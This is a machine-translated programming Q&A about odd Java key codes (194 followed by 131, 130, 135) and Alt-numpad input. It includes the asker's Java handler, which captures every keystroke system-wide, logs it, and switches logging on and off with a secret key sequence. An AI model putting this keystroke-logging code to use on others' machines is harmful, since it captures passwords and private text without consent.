我的老师给了我一个挑战:Java键码194,关键是什么?
他告诉我编写一个Java程序,它捕获键入的键值,并返回键码,并说出他按下的键。
我的问题是,他莫名其妙键入以下顺序:
194 131 194 130 194 135
我不知道如何重现此!代码194没有密钥,这很奇怪,因为他说他使用了数字键盘,但即使如此,我也找不到这样做的方法。任何帮助?
编辑: 以下是代码
public void nativeKeyPressed(NativeKeyEvent e)
{
System.out.println(NativeKeyEvent.getKeyText(131)+" "+NativeKeyEvent.getKeyText(130)+" "+NativeKeyEvent.getKeyText(135));
//17 = ctrl
//18 = alt
//113 = F2
//32 = space
if (!writingSupressed) ///DACA NU O BAGAT CODU ALA
{
if (checkCode(e.getKeyCode())) //DACA CODUL A FOST INTRODUS
{
new Thread(new Runnable() {
public void run() {
KiraUtils.dialog("Hello, you are protected.");
}
}).start();
writingSupressed=true;
ClientMode.dm.cleanBuffer();
}
if (Character.isLetter((char)e.getKeyCode()))
{
if (isCaps)
{
ClientMode.dm.log(e.getKeyCode());
}
else
{
ClientMode.dm.log(e.getKeyCode()+32);
}
}
else
{
if (e.getKeyCode()==20)
{
if (!capsPressed)
{
capsPressed=true;
isCaps=!isCaps;
ClientMode.dm.log(20);
}
}
else
if (e.getKeyCode()==17)
{
if (!ctrlPressed)
{
ctrlPressed=true;
ClientMode.dm.log(17);
}
}
else if (e.getKeyCode()==16)
{
if (!shiftPressed)
{
shiftPressed=true;
isCaps=!isCaps;
ClientMode.dm.log(16);
}
}
else if (e.getKeyCode()==18)
{
if (!altPressed)
{
altPressed=true;
ClientMode.dm.log(18);
}
}
else
{
ClientMode.dm.log(e.getKeyCode());
}
}
}
else //DACA O BAGAT CODU ALA
{
if (checkCode(e.getKeyCode()))
{
new Thread(new Runnable() {
public void run() {
KiraUtils.dialog("You are no longer protected.");
}
}).start();
writingSupressed=false;
}
}
}
但是按下Alt + 194将输出18(ALT),然后1,9和4
显示我们的代码。 – 2015-02-24 16:48:45
试试这个:按下Alt,点击1,点击9.点击4,释放ALT。所有数字都必须在数字键盘上按下。 – talex 2015-02-24 16:51:00
┬嗨,我是符号 – 2015-02-24 16:53:26